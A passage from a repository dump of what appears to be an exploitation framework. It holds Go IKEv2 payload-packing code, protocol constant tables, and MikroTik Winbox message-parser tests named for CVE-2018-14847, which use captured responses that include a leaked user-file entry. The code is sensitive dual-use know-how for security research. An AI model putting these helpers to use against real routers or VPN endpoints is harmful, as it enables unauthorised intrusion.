    "content": "package ikev2\n\nimport (\n\t\"encoding/hex\"\n\t\"fmt\"\n\t\"testing\"\n)\n\nfunc TestVendorIDPack(t *testing.T) {\n\twant := \"2b000014c590254e5403cbb71f3d493111d7fcad\"\n\ttempBytes, _ := hex.DecodeString(\"c590254e5403cbb71f3d493111d7fcad\")\n\tgot := IkePackVendorID(PayloadType[\"VENDOR_ID\"], tempBytes)\n\n\tif fmt.Sprintf(\"%02x\", got) != want {\n\t\tt.Fatalf(\"[1] %q : %02x != %s\", got, got, want)\n\t}\n\n\twant = \"2b000014c61baca1f1a60cc10800000000000000\"\n\ttempBytes, _ = hex.DecodeString(\"c61baca1f1a60cc10800000000000000\")\n\tgot = IkePackVendorID(PayloadType[\"VENDOR_ID\"], tempBytes)\n\n\tif fmt.Sprintf(\"%02x\", got) != want {\n\t\tt.Fatalf(\"[2] %q : %02x != %s\", got, got, want)\n\t}\n\n\twant = \"2b0000184048b7d56ebce88525e7de7f00d6c2d3c0000000\"\n\ttempBytes, _ = hex.DecodeString(\"4048b7d56ebce88525e7de7f00d6c2d3c0000000\")\n\tgot = IkePackVendorID(PayloadType[\"VENDOR_ID\"], tempBytes)\n\n\tif fmt.Sprintf(\"%02x\", got) != want {\n\t\tt.Fatalf(\"[3] %q : %02x != %s\", got, got, want)\n\t}\n\n\twant = \"290000144048b7d56ebce88525e7de7f00d6c2d3\"\n\ttempBytes, _ = hex.DecodeString(\"4048b7d56ebce88525e7de7f00d6c2d3\")\n\tgot = IkePackVendorID(PayloadType[\"NOTIFY\"], tempBytes)\n\tif fmt.Sprintf(\"%02x\", got) != want {\n\t\tt.Fatalf(\"[4] %q : %02x != %s\", got, got, want)\n\t}\n}\n\nfunc TestSecurityAssociationPack(t *testing.T) {\n\twant := \"220000300000002c010100040300000c0100000c800e01000300000802000005030000080300000c000000080400000e\"\n\tdefaultTransforms := []IkeTransform{\n\t\t{PayloadType[\"TRANSFORM\"], TransformType[\"ENCRYPTION_ALGORITHM\"], EncryptionAlgorithm[\"ENCR_AES_CBC\"], 0x800e0100},\n\t\t{PayloadType[\"TRANSFORM\"], TransformType[\"PSEUDO_RANDOM_FUNCTION\"], PseudoRandomFunction[\"PRF_HMAC_SHA2_256\"], 0},\n\t\t{PayloadType[\"TRANSFORM\"], TransformType[\"INTEGRITY_ALGORITHM\"], IntegrityAlgorithm[\"AUTH_HMAC_SHA2_256_128\"], 0},\n\t\t{PayloadType[\"NONE\"], TransformType[\"DIFFIE_HELLMAN_GROUP\"], DiffieHellmanGroup[\"DH_GROUP_2048_BIT_MODP\"], 0},\n\t}\n\tgot := IkePackSecurityAssociation(PayloadType[\"KEY_EXCHANGE\"], IkePackProposal(PayloadType[\"NONE\"], 1, 1, defaultTransforms, \"\"))\n\n\tif fmt.Sprintf(\"%02x\", got) != want {\n\t\tt.Fatalf(\"[1] %q : %02x != %s\", got, got, want)\n\t}\n}\n\nfunc TestNotifyPack(t *testing.T) {\n\twant := \"2900001c01004005a6358d813592fdd80a9aaa3390f39c8a5a76b6e4\"\n\ttempBytes, _ := hex.DecodeString(\"a6358d813592fdd80a9aaa3390f39c8a5a76b6e4\")\n\tgot := IkePackNotify(PayloadType[\"NOTIFY\"], NotifyType[\"NAT_DETECTION_DESTINATION_IP\"], tempBytes, 1, 0)\n\tif fmt.Sprintf(\"%02x\", got) != want {\n\t\tt.Fatalf(\"[1] %q : %02x != %s\", got, got, want)\n\t}\n\n\twant = \"2b00001c010040044cc324152ba3f68ef649ac1e6f96f33791611db2\"\n\ttempBytes, _ = hex.DecodeString(\"4cc324152ba3f68ef649ac1e6f96f33791611db2\")\n\tgot = IkePackNotify(PayloadType[\"VENDOR_ID\"], NotifyType[\"NAT_DETECTION_SOURCE_IP\"], tempBytes, 1, 0)\n\tif fmt.Sprintf(\"%02x\", got) != want {\n\t\tt.Fatalf(\"[2] %q : %02x != %s\", got, got, want)\n\t}\n\n\twant = \"290000080000402e\"\n\tgot = IkePackNotify(PayloadType[\"NOTIFY\"], NotifyType[\"IKEV2_FRAGMENTATION_SUPPORTED\"], []byte{}, 0, 0)\n\tif fmt.Sprintf(\"%02x\", got) != want {\n\t\tt.Fatalf(\"[3] %q : %02x != %s\", got, got, want)\n\t}\n\n\twant = \"2900000800004016\"\n\tgot = IkePackNotify(PayloadType[\"NOTIFY\"], NotifyType[\"REDIRECT_SUPPORTED\"], []byte{}, 0, 0)\n\tif fmt.Sprintf(\"%02x\", got) != want {\n\t\tt.Fatalf(\"[4] %q : %02x != %s\", got, got, want)\n\t}\n\n\twant = \"000000100000402f0001000200030004\"\n\ttempBytes, _ = hex.DecodeString(\"0001000200030004\")\n\tgot = IkePackNotify(PayloadType[\"NONE\"], NotifyType[\"SIGNATURE_HASH_ALGORITHMS\"], tempBytes, 0, 0)\n\tif fmt.Sprintf(\"%02x\", got) != want {\n\t\tt.Fatalf(\"[5] %q : %02x != %s\", got, got, want)\n\t}\n}\n"
  },
  {
    "path": "protocol/ikev2/packs.go",
    "content": "package ikev2\n\nimport (\n\t\"github.com/vulncheck-oss/go-exploit/transform\"\n)\n\n// Creates a Nonce component.\n//\n//\tikev2.IkePackNonce(ikev2.PayloadType[\"NOTIFY\"], ikeClient.IkeCrypto.InitNonce)\nfunc IkePackNonce(nextPayload int, nonce []byte) []byte {\n\treturn IkePackPayloadHeader(nextPayload, nonce)\n}\n\n// Creates a VendorID component.\n//\n//\ttempBytes, _ = hex.DecodeString(\"4048b7d56ebce88525e7de7f00d6c2d3\")\n//\tikev2.IkePackVendorID(ikev2.PayloadType[\"NOTIFY\"], tempBytes)\nfunc IkePackVendorID(nextPayload int, vendorID []byte) []byte {\n\treturn IkePackPayloadHeader(nextPayload, vendorID)\n}\n\n// Creates a Notify component.\n//\n//\ttempBytes, _ = hex.DecodeString(\"0021030203030006\")\n//\tikev2.IkePackNotify(ikev2.PayloadType[\"NONE\"], ikev2.NotifyType[\"SIGNATURE_HASH_ALGORITHMS\"], tempBytes, 0, 0)\nfunc IkePackNotify(nextPayload int, notifyType int, data []byte, protocolID int, spiSize int) []byte {\n\tpayload := make([]byte, 0)\n\tpayload = append(payload, byte(protocolID))\n\tpayload = append(payload, byte(spiSize))\n\tpayload = append(payload, []byte(transform.PackBigInt16(notifyType))...)\n\tpayload = append(payload, data...)\n\n\treturn IkePackPayloadHeader(nextPayload, payload)\n}\n\n// Creates a KeyExchange component.\n//\n//\tikev2.IkePackKeyExchange(ikev2.PayloadType[\"NONCE\"], ikev2.DiffieHellmanGroup[\"DH_GROUP_2048_BIT_MODP\"], ikeClient.IkeCrypto.ClientPubKey.Bytes())\nfunc IkePackKeyExchange(nextPayload int, dhGroup int, data []byte) []byte {\n\tpayload := []byte(transform.PackBigInt16(dhGroup))\n\tpayload = append(payload, []byte(transform.PackBigInt16(0))...) // reserved bytes (2)\n\tpayload = append(payload, data...)\n\n\treturn IkePackPayloadHeader(nextPayload, payload)\n}\n\n// Creates a Security Association component.\n//\n//\tikev2.IkePackSecurityAssociation(ikev2.PayloadType[\"KEY_EXCHANGE\"], ikev2.IkePackProposal(ikev2.PayloadType[\"NONE\"], 1, 1, defaultTransforms, \"\"))\nfunc IkePackSecurityAssociation(payloadType int, proposal []byte) []byte {\n\treturn IkePackPayloadHeader(payloadType, proposal)\n}\n\n// Creates a transform byte array from a transform.\n//\n//\tikev2.IkeTransform{NextPayload: ikev2.PayloadType[\"TRANSFORM\"], TransformType: ikev2.TransformType[\"ENCRYPTION_ALGORITHM\"], TransformID: ikev2.EncryptionAlgorithm[\"ENCR_AES_CBC\"], TransformAttributes: 0x800e0100}\nfunc (ikeTransform *IkeTransform) Pack() []byte {\n\tpayload := make([]byte, 0)\n\tpayload = append(payload, byte(ikeTransform.TransformType))\n\tpayload = append(payload, byte(0))\n\tpayload = append(payload, []byte(transform.PackBigInt16(ikeTransform.TransformID))...)\n\ttransform.PackBigInt16(ikeTransform.TransformID)\n\n\tif ikeTransform.TransformAttributes != 0 {\n\t\tpayload = append(payload, []byte(transform.PackBigInt32(ikeTransform.TransformAttributes))...)\n\t}\n\n\treturn IkePackPayloadHeader(ikeTransform.NextPayload, payload)\n}\n\n// Encapsulates a Packed component (or any binary array) with the nextHeader. Used by most of these packs.\nfunc IkePackPayloadHeader(payloadType int, payloadIn []byte) []byte {\n\tpayload := make([]byte, 0)\n\tpayload = append(payload, byte(payloadType))\n\tpayload = append(payload, byte(0))\n\tpayload = append(payload, []byte(transform.PackBigInt16(len(payloadIn)+4))...)\n\tpayload = append(payload, payloadIn...)\n\n\treturn payload\n}\n\n// Creates a Proposal component.\n//\n// ikev2.IkePackProposal(ikev2.PayloadType[\"NONE\"], 1, 1, defaultTransforms, \"\").\nfunc IkePackProposal(nextPayload int, number int, id int, transforms []IkeTransform, spi string) []byte {\n\tpayload := make([]byte, 0)\n\tpayload = append(payload, byte(number))\n\tpayload = append(payload, byte(id))\n\tpayload = append(payload, byte(len(spi)))\n\tpayload = append(payload, byte(len(transforms)))\n\tpayload = append(payload, []byte(spi)...)\n\tfor _, transform := range transforms {\n\t\tpayload = append(payload, transform.Pack()...)\n\t}\n\n\treturn IkePackPayloadHeader(nextPayload, payload)\n}\n\n// Creates a Header component.\n//\n//\tikev2.IkePackHeader(ikeClient, ikev2.PayloadType[\"SECURITY_ASSOCIATION\"], 0x20, ikev2.ExchangeType[\"IKE_SA_INIT\"], 0x08, 0x0)\nfunc IkePackHeader(ikeClient *IkeClient, payloadType int, version int, exchangeType int, flags int, messageID int) []byte {\n\tpayload := make([]byte, 0)\n\tpayload = append(payload, Uint64ToString(ikeClient.IkeCrypto.InitSPI)...)\n\tpayload = append(payload, Uint64ToString(ikeClient.IkeCrypto.RespSPI)...)\n\tpayload = append(payload, byte(payloadType))\n\tpayload = append(payload, byte(version))\n\tpayload = append(payload, byte(exchangeType))\n\tpayload = append(payload, byte(flags))\n\tpayload = append(payload, []byte(transform.PackBigInt32(messageID))...)\n\n\treturn payload\n}\n"
  },
  {
    "path": "protocol/ikev2/types.go",
    "content": "package ikev2\n\nimport (\n\t\"math/big\"\n\t\"net\"\n)\n\n// I hate go idioms for enums, so we're doing string maps.\n// The primary reason is that I want the context to be evident, much like a namespace when using the structures here.\n\nvar PayloadType = map[string]int{\n\t\"NONE\":                       0,\n\t\"TRANSFORM\":                  3,\n\t\"SECURITY_ASSOCIATION\":       33,\n\t\"KEY_EXCHANGE\":               34,\n\t\"IDENTIFIER_INITIATOR\":       35,\n\t\"IDENTIFIER_RESPONDER\":       36,\n\t\"CERTIFICATE\":                37,\n\t\"CERTIFICATE_REQUEST\":        38,\n\t\"AUTHENTICATION\":             39,\n\t\"NONCE\":                      40,\n\t\"NOTIFY\":                     41,\n\t\"DELETE\":                     42,\n\t\"VENDOR_ID\":                  43,\n\t\"TRAFFIC_SELECTOR_INITIATOR\": 44,\n\t\"TRAFFIC_SELECTOR_RESPONDER\": 45,\n\t\"ENCRYPTED\":                  46,\n\t\"CONFIGURATION\":              47,\n\t\"EXTENSIBLE_AUTHENTICATION\":  48,\n}\n\nvar ExchangeType = map[string]int{\n\t\"IKE_SA_INIT\":     34,\n\t\"IKE_AUTH\":        35,\n\t\"CREATE_CHILD_SA\": 36,\n\t\"INFORMATIONAL\":   37,\n}\n\nvar TransformType = map[string]int{\n\t\"ENCRYPTION_ALGORITHM\":   1,\n\t\"PSEUDO_RANDOM_FUNCTION\": 2,\n\t\"INTEGRITY_ALGORITHM\":    3,\n\t\"DIFFIE_HELLMAN_GROUP\":   4,\n}\n\nvar NotifyType = map[string]int{\n\t\"UNSUPPORTED_CRITICAL_PAYLOAD\":  1,\n\t\"INVALID_IKE_SPI\":               4,\n\t\"INVALID_MAJOR_VERSION\":         5,\n\t\"INVALID_SYNTAX\":                7,\n\t\"INVALID_MESSAGE_ID\":            9,\n\t\"INVALID_SPI\":                   11,\n\t\"NO_PROPOSAL_CHOSEN\":            14,\n\t\"INVALID_KE_PAYLOAD\":            17,\n\t\"AUTHENTICATION_FAILED\":         24,\n\t\"SINGLE_PAIR_REQUIRED\":          34,\n\t\"NO_ADDITIONAL_SAS\":             35,\n\t\"INTERNAL_ADDRESS_FAILURE\":      36,\n\t\"FAILED_CP_REQUIRED\":            37,\n\t\"TS_UNACCEPTABLE\":               38,\n\t\"INVALID_SELECTORS\":             39,\n\t\"INITIAL_CONTACT\":               16384,\n\t\"SET_WINDOW_SIZE\":               16385,\n\t\"ADDITIONAL_TS_POSSIBLE\":        16386,\n\t\"IPCOMP_SUPPORTED\":              16387,\n\t\"NAT_DETECTION_SOURCE_IP\":       16388,\n\t\"NAT_DETECTION_DESTINATION_IP\":  16389,\n\t\"COOKIE\":                        16390,\n\t\"USE_TRANSPORT_MODE\":            16391,\n\t\"HTTP_CERT_LOOKUP_SUPPORTED\":    16392,\n\t\"REKEY_SA\":                      16393,\n\t\"ESP_TFC_PADDING_NOT_SUPPORTED\": 16394,\n\t\"NON_FIRST_FRAGMENTS_ALSO\":      16395,\n\t\"MOBIKE_SUPPORTED\":              16396,\n\t\"MULTIPLE_AUTH_SUPPORTED\":       16404,\n\t\"REDIRECT_SUPPORTED\":            16406,\n\t\"IKEV2_FRAGMENTATION_SUPPORTED\": 16430,\n\t\"SIGNATURE_HASH_ALGORITHMS\":     16431,\n}\n\nvar ConfigurationAttribute = map[string]int{\n\t\"INTERNAL_IP4_ADDRESS\": 1,\n\t\"INTERNAL_IP4_NETMASK\": 2,\n\t\"INTERNAL_IP4_DNS\":     3,\n\t\"INTERNAL_IP4_MBNS\":    4,\n\t\"APPLICATION_VERSION\":  7,\n\t\"INTERNAL_IP6_ADDRESS\": 8,\n\t\"INTERNAL_IP6_DNS\":     10,\n}\n\nvar EncryptionAlgorithm = map[string]int{\n\t\"ENCR_DES_IV64\":                 1,\n\t\"ENCR_DES\":                      2,\n\t\"ENCR_3DES\":                     3,\n\t\"ENCR_RC5\":                      4,\n\t\"ENCR_IDEA\":                     5,\n\t\"ENCR_CAST\":                     6,\n\t\"ENCR_BLOWFISH\":                 7,\n\t\"ENCR_3IDEA\":                    8,\n\t\"ENCR_DES_IV32\":                 9,\n\t\"RESERVED\":                      10,\n\t\"ENCR_NULL\":                     11,\n\t\"ENCR_AES_CBC\":                  12,\n\t\"ENCR_AES_CTR\":                  13,\n\t\"ENCR_AES_CCM_8\":                14,\n\t\"ENCR_AES_CCM_12\":               15,\n\t\"ENCR_AES_CCM_16\":               16,\n\t\"ENCR_AES_GCM_8\":                18,\n\t\"ENCR_AES_GCM_12\":               19,\n\t\"ENCR_AES_GCM_16\":               20,\n\t\"ENCR_NULL_AUTH_AES_GMAC\":       21,\n\t\"P1619_XTS_AES\":                 22,\n\t\"ENCR_CAMELLIA_CBC\":             23,\n\t\"ENCR_CAMELLIA_CTR\":             24,\n\t\"ENCR_CAMELLIA_CCM_8\":           25,\n\t\"ENCR_CAMELLIA_CCM_12\":          26,\n\t\"ENCR_CAMELLIA_CCM_16\":          27,\n\t\"ENCR_CHACHA20_POLY1305\":        28,\n\t\"ENCR_AES_CCM_8_IIV\":            29,\n\t\"ENCR_AES_GCM_16_IIV\":           30,\n\t\"ENCR_CHACHA20_POLY1305_IIV\":    31,\n\t\"ENCR_KUZNYECHIK_MGM_KTREE\":     32,\n\t\"ENCR_MAGMA_MGM_KTREE\":          33,\n\t\"ENCR_KUZNYECHIK_MGM_MAC_KTREE\": 34,\n\t\"ENCR_MAGMA_MGM_MAC_KTREE\":      35,\n}\n\nvar PseudoRandomFunction = map[string]int{\n\t\"PRF_HMAC_MD5\":          1,\n\t\"PRF_HMAC_SHA1\":         2,\n\t\"PRF_HMAC_TIGER\":        3,\n\t\"PRF_AES128_XCBC\":       4,\n\t\"PRF_HMAC_SHA2_256\":     5,\n\t\"PRF_HMAC_SHA2_384\":     6,\n\t\"PRF_HMAC_SHA2_512\":     7,\n\t\"PRF_AES128_CMAC\":       8,\n\t\"PRF_HMAC_STREEBOG_512\": 9,\n}\n\nvar IntegrityAlgorithm = map[string]int{\n\t\"AUTH_HMAC_MD5_96\":       1,\n\t\"AUTH_HMAC_SHA1_96\":      2,\n\t\"AUTH_DES_MAC\":           3,\n\t\"AUTH_KPDK_MD5\":          4,\n\t\"AUTH_AES_XCBC_96\":       5,\n\t\"AUTH_HMAC_MD5_128\":      6,\n\t\"AUTH_HMAC_SHA1_160\":     7,\n\t\"AUTH_AES_CMAC_96\":       8,\n\t\"AUTH_AES_128_GMAC\":      9,\n\t\"AUTH_AES_192_GMAC\":      10,\n\t\"AUTH_AES_256_GMAC\":      11,\n\t\"AUTH_HMAC_SHA2_256_128\": 12,\n\t\"AUTH_HMAC_SHA2_384_192\": 13,\n\t\"AUTH_HMAC_SHA2_512_256\": 14,\n}\n\nvar DiffieHellmanGroup = map[string]int{\n\t\"DH_GROUP_2048_BIT_MODP\":                                   14,\n\t\"DH_GROUP_768_BIT_MODP\":                                    1,\n\t\"DH_GROUP_1024_BIT_MODP\":                                   2,\n\t\"DH_GROUP_1536_BIT_MODP\":                                   5,\n\t\"DH_GROUP_3072_BIT_MODP\":                                   15,\n\t\"DH_GROUP_4096_BIT_MODP\":                                   16,\n\t\"DH_GROUP_6144_BIT_MODP\":                                   17,\n\t\"DH_GROUP_8192_BIT_MODP\":                                   18,\n\t\"RANDOM_ECP_GROUP_256_BIT\":                                 19,\n\t\"RANDOM_ECP_GROUP_384_BIT\":                                 20,\n\t\"RANDOM_ECP_GROUP_521_BIT\":                                 21,\n\t\"DH_GROUP_1024_BIT_MODP_WITH_160_BIT_PRIME_ORDER_SUBGROUP\": 22,\n\t\"DH_GROUP_2048_BIT_MODP_WITH_224_BIT_PRIME_ORDER_SUBGROUP\": 23,\n\t\"DH_GROUP_2048_BIT_MODP_WITH_256_BIT_PRIME_ORDER_SUBGROUP\": 24,\n\t\"RANDOM_ECP_GROUP_192_BIT\":                                 25,\n\t\"RANDOM_ECP_GROUP_224_BIT\":                                 26,\n\t\"BRAINPOOLP224R1\":                                          27,\n\t\"BRAINPOOLP256R1\":                                          28,\n\t\"BRAINPOOLP384R1\":                                          29,\n\t\"BRAINPOOLP512R1\":                                          30,\n\t\"CURVE25519\":                                               31,\n\t\"CURVE448\":                                                 32,\n\t\"GOST3410_2012_256\":                                        33,\n\t\"GOST3410_2012_512\":                                        34,\n\t\"ML_KEM_512\":                                               35,\n\t\"ML_KEM_768\":                                               36,\n\t\"ML_KEM_1024\":                                              37,\n}\n\ntype IkeClient struct {\n\tConn      net.Conn\n\tIkeCrypto IkeCrypto\n}\n\ntype IkeCrypto struct {\n\tPrime *big.Int\n\n\tInitNonce []byte\n\tRespNonce []byte\n\tInitSPI   uint64\n\tRespSPI   uint64\n\n\tClientPrivKey *big.Int\n\tClientPubKey  *big.Int\n\tServerPubKey  *big.Int\n\n\tSharedSecret *big.Int\n\tSKeySeed     string\n\tSKd          string\n\tSKai         string\n\tSKar         string\n\tSKei         string\n\tSKer         string\n}\n\ntype IkeProposal struct {\n\tProposalNumber int\n\tProtocolID     int\n\tSPI            int\n\tTransforms     []IkeTransform\n}\n\ntype IkeTransform struct {\n\tNextPayload         int\n\tTransformType       int\n\tTransformID         int\n\tTransformAttributes int // a bit lazy perhaps, but it gets used infrequently enough that providing an int instead of a list of maps + enums should suffice\n\t// Reserved int = 0\n}\n"
  },
  {
    "path": "protocol/mikrotik/mikrotik_test.go",
    "content": "package mikrotik\n\nimport (\n\t\"bytes\"\n\t\"testing\"\n)\n\nfunc Test_CVE_2018_14847_ServerResponse1(t *testing.T) {\n\tresult := NewM2Message()\n\tdata := \"\\x01\\x00\\xff\\x88\\x02\\x00\\x00\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x02\\x00\\xff\\x88\\x02\\x00\\x02\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\xfe\\x09\\x06\\x03\\x00\\xff\\x09\\x02\\x02\\x00\\x00\\x09\\xbc\\x06\\x00\\xff\\x09\\x05\"\n\n\tif !ParseM2Message([]byte(data), result) {\n\t\tt.Error(\"Failed M2 messaging parsing\")\n\t}\n\n\tif result.U32s[0xfe0001] != 6 {\n\t\tt.Error(\"u32 var 0xfe0001 was expected to be 6, got\", result.U32s[0xfe0001])\n\t}\n\n\tif result.U32s[0xff0003] != 2 {\n\t\tt.Error(\"u32 var 0xff0003 was expected to be 2, got\", result.U32s[0xff0003])\n\t}\n\n\tif result.U32s[2] != 0xbc {\n\t\tt.Error(\"u32 var 2 was expected to be 0xbc, got\", result.U32s[2])\n\t}\n\n\tif result.U32s[0xff0006] != 5 {\n\t\tt.Error(\"u32 var 0xff0006 was expected to be 5, got\", result.U32s[0xff0006])\n\t}\n\n\tif len(result.ArrayU32[0xff0001]) != 2 {\n\t\tt.Error(\"ArrayU32 var 0xff0001 was expected to contain 2 values, has\", len(result.ArrayU32[0xff0001]))\n\t}\n\n\tif len(result.ArrayU32[0xff0002]) != 2 {\n\t\tt.Error(\"ArrayU32 var 0xff0002 was expected to contain 2 values, has\", len(result.ArrayU32[0xff0002]))\n\t}\n\n\tif result.ArrayU32[0xff0001][0] != 0 {\n\t\tt.Error(\"ArrayU32 var 0xff0001 index 0 was expected to be 0, has\", result.ArrayU32[0xff0001][0])\n\t}\n\n\tif result.ArrayU32[0xff0001][1] != 8 {\n\t\tt.Error(\"ArrayU32 var 0xff0001 index 0 was expected to be 8, has\", result.ArrayU32[0xff0001][1])\n\t}\n\n\tif result.ArrayU32[0xff0002][0] != 2 {\n\t\tt.Error(\"ArrayU32 var 0xff0002 index 0 was expected to be 2, has\", result.ArrayU32[0xff0002][0])\n\t}\n\n\tif result.ArrayU32[0xff0002][1] != 2 {\n\t\tt.Error(\"ArrayU32 var 0xff0002 index 1 was expected to be 2, has\", result.ArrayU32[0xff0002][1])\n\t}\n\n\tif result.GetSessionID() != 6 {\n\t\tt.Error(\"The session id was expected to be 6, got\", result.GetSessionID())\n\t}\n}\n\nfunc Test_CVE_2018_14847_ServerResponse2(t *testing.T) {\n\tresult := NewM2Message()\n\tdata := \"\\x01\\x00\\xff\\x88\\x02\\x00\\x00\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x02\\x00\\xff\\x88\\x02\\x00\\x02\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x04\\x00\\x00\\x01\\x03\\x00\\xff\\x09\\x02\\x06\\x00\\xff\\x09\\x06\\x03\\x00\\x00\\x31\\xbc\\x5a\\x00\\x4d\\x32\\x10\\x00\\x00\\xa8\\x00\\x00\\x1c\\x00\\x00\\x00\\x0a\\x00\\xfe\\x00\\x05\\x00\\x00\\x09\\x00\\x06\\x00\\x00\\x09\\x00\\x0b\\x00\\x00\\x08\\xfe\\xff\\x07\\x00\\x12\\x00\\x00\\x09\\x02\\x01\\x00\\xfe\\x09\\x01\\x02\\x00\\x00\\x09\\x03\\x09\\x00\\xfe\\x21\\x13\\x73\\x79\\x73\\x74\\x65\\x6d\\x20\\x64\\x65\\x66\\x61\\x75\\x6c\\x74\\x20\\x75\\x73\\x65\\x72\\x11\\x00\\x00\\x21\\x00\\x01\\x00\\x00\\x21\\x05\\x61\\x64\\x6d\\x69\\x6e\\x62\\x00\\x4d\\x32\\x10\\x00\\x00\\xa8\\x00\\x00\\x1c\\x00\\x00\\x00\\x0a\\x00\\xfe\\x00\\x05\\x00\\x00\\x09\\x00\\x06\\x00\\x00\\x09\\x00\\x1f\\x00\\x00\\x08\\x7e\\x9e\\x07\\x00\\x0b\\x00\\x00\\x08\\xfe\\xff\\x07\\x00\\x12\\x00\\x00\\x09\\x02\\x01\\x00\\xfe\\x09\\x01\\x02\\x00\\x00\\x09\\x03\\x09\\x00\\xfe\\x21\\x13\\x73\\x79\\x73\\x74\\x65\\x6d\\x20\\x64\\x65\\x66\\x61\\x75\\x6c\\x74\\x20\\x75\\x73\\x65\\x72\\x11\\x00\\x00\\x21\\x00\\x01\\x00\\x00\\x21\\x05\\x61\\x64\\x6d\\x69\\x6e\"\n\n\tif !ParseM2Message([]byte(data), result) {\n\t\tt.Error(\"Failed M2 messaging parsing\")\n\t}\n\n\tif len(result.ArrayU32[0xff0001]) != 2 {\n\t\tt.Error(\"ArrayU32 var 0xff0001 was expected to contain 2 values, has\", len(result.ArrayU32[0xff0001]))\n\t}\n\n\tif len(result.ArrayU32[0xff0002]) != 2 {\n\t\tt.Error(\"ArrayU32 var 0xff0002 was expected to contain 2 values, has\", len(result.ArrayU32[0xff0002]))\n\t}\n\n\tif result.ArrayU32[0xff0001][0] != 0 {\n\t\tt.Error(\"ArrayU32 var 0xff0001 index 0 was expected to be 0, has\", result.ArrayU32[0xff0001][0])\n\t}\n\n\tif result.ArrayU32[0xff0001][1] != 8 {\n\t\tt.Error(\"ArrayU32 var 0xff0001 index 0 was expected to be 8, has\", result.ArrayU32[0xff0001][1])\n\t}\n\n\tif result.ArrayU32[0xff0002][0] != 2 {\n\t\tt.Error(\"ArrayU32 var 0xff0002 index 0 was expected to be 2, has\", result.ArrayU32[0xff0002][0])\n\t}\n\n\tif result.ArrayU32[0xff0002][1] != 2 {\n\t\tt.Error(\"ArrayU32 var 0xff0002 index 1 was expected to be 2, has\", result.ArrayU32[0xff0002][1])\n\t}\n\n\tif !result.Bools[4] {\n\t\tt.Error(\"Bools var 4 was expected to be true, was false\")\n\t}\n\n\tif len(result.Raw[3]) != 0xbc {\n\t\tt.Error(\"Raw var 3 was expected to contain 0xbc bytes, has\", len(result.Raw[3]))\n\t}\n\n\tif !bytes.Equal(result.Raw[3], []byte(\"\\x5a\\x00\\x4d\\x32\\x10\\x00\\x00\\xa8\\x00\\x00\\x1c\\x00\\x00\\x00\\x0a\\x00\\xfe\\x00\\x05\\x00\\x00\\x09\\x00\\x06\\x00\\x00\\x09\\x00\\x0b\\x00\\x00\\x08\\xfe\\xff\\x07\\x00\\x12\\x00\\x00\\x09\\x02\\x01\\x00\\xfe\\x09\\x01\\x02\\x00\\x00\\x09\\x03\\x09\\x00\\xfe\\x21\\x13\\x73\\x79\\x73\\x74\\x65\\x6d\\x20\\x64\\x65\\x66\\x61\\x75\\x6c\\x74\\x20\\x75\\x73\\x65\\x72\\x11\\x00\\x00\\x21\\x00\\x01\\x00\\x00\\x21\\x05\\x61\\x64\\x6d\\x69\\x6e\\x62\\x00\\x4d\\x32\\x10\\x00\\x00\\xa8\\x00\\x00\\x1c\\x00\\x00\\x00\\x0a\\x00\\xfe\\x00\\x05\\x00\\x00\\x09\\x00\\x06\\x00\\x00\\x09\\x00\\x1f\\x00\\x00\\x08\\x7e\\x9e\\x07\\x00\\x0b\\x00\\x00\\x08\\xfe\\xff\\x07\\x00\\x12\\x00\\x00\\x09\\x02\\x01\\x00\\xfe\\x09\\x01\\x02\\x00\\x00\\x09\\x03\\x09\\x00\\xfe\\x21\\x13\\x73\\x79\\x73\\x74\\x65\\x6d\\x20\\x64\\x65\\x66\\x61\\x75\\x6c\\x74\\x20\\x75\\x73\\x65\\x72\\x11\\x00\\x00\\x21\\x00\\x01\\x00\\x00\\x21\\x05\\x61\\x64\\x6d\\x69\\x6e\")) {\n\t\tt.Error(\"Raw var 3 does not contain the expected payload\")\n\t}\n}\n\nfunc Test_ParseUsersFile(t *testing.T) {\n\tresult := NewM2Message()\n\tdata := \"\\x5a\\x00\\x4d\\x32\\x10\\x00\\x00\\xa8\\x00\\x00\\x1c\\x00\\x00\\x00\\x0a\\x00\\xfe\\x00\\x05\\x00\\x00\\x09\\x00\\x06\\x00\\x00\\x09\\x00\\x0b\\x00\\x00\\x08\\xfe\\xff\\x07\\x00\\x12\\x00\\x00\\x09\\x02\\x01\\x00\\xfe\\x09\\x01\\x02\\x00\\x00\\x09\\x03\\x09\\x00\\xfe\\x21\\x13\\x73\\x79\\x73\\x74\\x65\\x6d\\x20\\x64\\x65\\x66\\x61\\x75\\x6c\\x74\\x20\\x75\\x73\\x65\\x72\\x11\\x00\\x00\\x21\\x00\\x01\\x00\\x00\\x21\\x05\\x61\\x64\\x6d\\x69\\x6e\\x62\\x00\\x4d\\x32\\x10\\x00\\x00\\xa8\\x00\\x00\\x1c\\x00\\x00\\x00\\x0a\\x00\\xfe\\x00\\x05\\x00\\x00\\x09\\x00\\x06\\x00\\x00\\x09\\x00\\x1f\\x00\\x00\\x08\\x7e\\x9e\\x07\\x00\\x0b\\x00\\x00\\x08\\xfe\\xff\\x07\\x00\\x12\\x00\\x00\\x09\\x02\\x01\\x00\\xfe\\x09\\x01\\x02\\x00\\x00\\x09\\x03\\x09\\x00\\xfe\\x21\\x13\\x73\\x79\\x73\\x74\\x65\\x6d\\x20\\x64\\x65\\x66\\x61\\x75\\x6c\\x74\\x20\\x75\\x73\\x65\\x72\\x11\\x00\\x00\\x21\\x00\\x01\\x00\\x00\\x21\\x05\\x61\\x64\\x6d\\x69\\x6e\"\n\n\tif !ParseM2Message([]byte(data), result) {\n\t\tt.Error(\"Failed M2 messaging parsing\")\n\t}\n}\n\nfunc Test_MessageCreation(t *testing.T) {\n\tmsg := NewM2Message()\n\tmsg.SetTo(2, 2)\n\tmsg.SetCommand(7)\n\tmsg.SetRequestID(2)\n\tmsg.SetReplyExpected(true)\n\tmsg.AddU32(2, 12)\n\tmsg.AddString(1, []byte(\"test\"))\n\n\tdata := msg.Serialize()\n\n\treadit := NewM2Message()\n\tif !ParseM2Message(data, readit) {\n\t\tt.Error(\"Failed M2 messaging parsing\")\n\t}\n}\n\nfunc Test_FailingDatFileEntry(t *testing.T) {\n\tresult := NewM2Message()\n\tdata := 